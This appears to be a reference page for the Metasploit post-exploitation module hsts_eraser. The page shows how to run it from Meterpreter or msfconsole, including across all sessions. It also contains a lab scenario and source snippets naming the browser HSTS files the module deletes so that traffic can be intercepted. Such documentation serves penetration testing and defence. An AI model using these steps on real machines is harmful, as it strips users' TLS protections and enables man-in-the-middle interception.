Web browsers HSTS entries eraser - Metasploit


This page contains detailed information about how to use the post/multi/manage/hsts_eraser metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Web browsers HSTS entries eraser
Module: post/multi/manage/hsts_eraser
Source code: modules/post/multi/manage/hsts_eraser.rb
Disclosure date: -
Last modification time: 2018-02-03 02:18:30 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux, OSX, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module removes the HSTS database of the following tools and web browsers: Mozilla Firefox, Google Chrome, Opera, Safari and wget.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/multi/manage/hsts_eraser

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/multi/manage/hsts_eraser
msf post(hsts_eraser) > show options
    ... show and set options ...
msf post(hsts_eraser) > set SESSION session-id
msf post(hsts_eraser) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/multi/manage/hsts_eraser")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Knowledge Base


Vulnerable Application


This module allows you to erase the HTTP Strict-Transport-Security cache of a target machine. When combined with a sniffer or a man-in-the-middle tool, this module will assist with the capture/modification of TLS-encrypted traffic.

WARNING: This module erases the HSTS cache, leaving the target in a vulnerable state. All browser traffic from all users on the target will be subject to man-in-the-middle attacks. There is no undo built-into this module. If you intend to revert, you must first backup the HSTS file before running the module.

Note: This module searches for all non-root users on the system. It will not erase HSTS data for the root user.

The following platforms are supported: * Windows * Linux * OS X

Verification Steps


  1. Obtain and background a session from the target machine.
  2. From the msf> prompt, do use post/multi/manage/hsts_eraser
  3. Set the DISCLAIMER option to True (after reading the above WARNING)
  4. Set the SESSION option
  5. run

Alternatively:

  1. Obtain a session from the target machine.
  2. From the meterpreter> prompt, do run post/multi/manage/hsts_eraser DISCLAIMER=True

Scenarios


Set up a Kali VM with some HSTS data:

root@kali-2017:~# adduser bob
root@kali-2017:~# su bob
bob@kali-2017:/root$ cd

bob@kali-2017:~$ wget -S https://outlook.live.com/owa/ 2>&1 | grep -i strict
  Strict-Transport-Security: max-age=31536000; includeSubDomains
  Strict-Transport-Security: max-age=31536000; includeSubDomains
bob@kali-2017:~$ cat .wget-hsts 
# HSTS 1.0 Known Hosts database for GNU Wget.
# Edit at your own risk.
#            
outlook.live.com    0   1   1519176414  31536000

Create an msfvenom payload, execute it, and then connect to it with multi/exploit/handler. From the Meterpreter session on the victim:

[*] Meterpreter session 1 opened (127.0.0.1:38089 -> 127.0.0.1:44444) at 2018-02-20 19:19:02 -0600

meterpreter > run post/multi/manage/hsts_eraser DISCLAIMER=True

[*] Removing wget HSTS database for bob... 
[*] HSTS databases removed! Now enjoy your favorite sniffer! ;-)

Confirm that the file was deleted:

bob@kali-2017:~$ cat .wget-hsts 
cat: .wget-hsts: No such file or directory

Go back to menu.

Msfconsole Usage


Here is how the multi/manage/hsts_eraser post exploitation module looks in the msfconsole:

msf6 > use post/multi/manage/hsts_eraser

msf6 post(multi/manage/hsts_eraser) > show info

       Name: Web browsers HSTS entries eraser
     Module: post/multi/manage/hsts_eraser
   Platform: Linux, OSX, Unix, Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  Sheila A. Berta (UnaPibaGeek)

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  DISCLAIMER  false            yes       This module will delete HSTS data from the target. Set this parameter to True in order to accept this warning.
  SESSION                      yes       The session to run this module on.

Description:
  This module removes the HSTS database of the following tools and web 
  browsers: Mozilla Firefox, Google Chrome, Opera, Safari and wget.

References:
  http://blog.en.elevenpaths.com/2017/12/breaking-out-hsts-and-hpkp-on-firefox.html
  https://www.blackhat.com/docs/eu-17/materials/eu-17-Berta-Breaking-Out-HSTS-And-HPKP-On-Firefox-IE-Edge-And-Possibly-Chrome.pdf

Module Options


This is a complete list of options available in the multi/manage/hsts_eraser post exploitation module:

msf6 post(multi/manage/hsts_eraser) > show options

Module options (post/multi/manage/hsts_eraser):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   DISCLAIMER  false            yes       This module will delete HSTS data from the target. Set this parameter to True in order to accept this warning.
   SESSION                      yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the multi/manage/hsts_eraser post exploitation module:

msf6 post(multi/manage/hsts_eraser) > show advanced

Module advanced options (post/multi/manage/hsts_eraser):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the multi/manage/hsts_eraser module can do:

msf6 post(multi/manage/hsts_eraser) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the multi/manage/hsts_eraser post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(multi/manage/hsts_eraser) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This module will delete HSTS data from all browsers on the target. You must set the DISCLAIMER option to True to acknowledge that you understand this warning.


Here is a relevant code snippet related to the "This module will delete HSTS data from all browsers on the target. You must set the DISCLAIMER option to True to acknowledge that you understand this warning." error message:

37:	      ])
38:	  end
39:	
40:	  def run
41:	    unless (datastore['DISCLAIMER'] == true)
42:	        print_error("This module will delete HSTS data from all browsers on the target. You must set the DISCLAIMER option to True to acknowledge that you understand this warning.")
43:	        return
44:	    end
45:	
46:	    profiles = user_profiles
47:	

Platform not recognized: <SESSION.PLATFORM>


Here is a relevant code snippet related to the "Platform not recognized: <SESSION.PLATFORM>" error message:

69:	          'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles", #Just path for now
70:	          'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/TransportSecurity",
71:	          'Safari' => "#{user_profile['AppData']}/Cookies/HSTS.plist"
72:	        }
73:	      else
74:	        print_error "Platform not recognized: #{session.platform}"
75:	      end
76:	
77:	      browsers_hsts_db_path.each_pair do |browser, path|
78:	        if browser == 'Firefox'
79:	          hsts_db_path = []

Error getting user profile data!


Here is a relevant code snippet related to the "Error getting user profile data!" error message:

117:	        )
118:	      end
119:	    when /windows/
120:	      user_profiles |= grab_user_profiles
121:	    else
122:	      print_error "Error getting user profile data!"
123:	    end
124:	    user_profiles
125:	  end
126:	
127:	  def system_separator

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Sheila A. Berta (UnaPibaGeek)

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.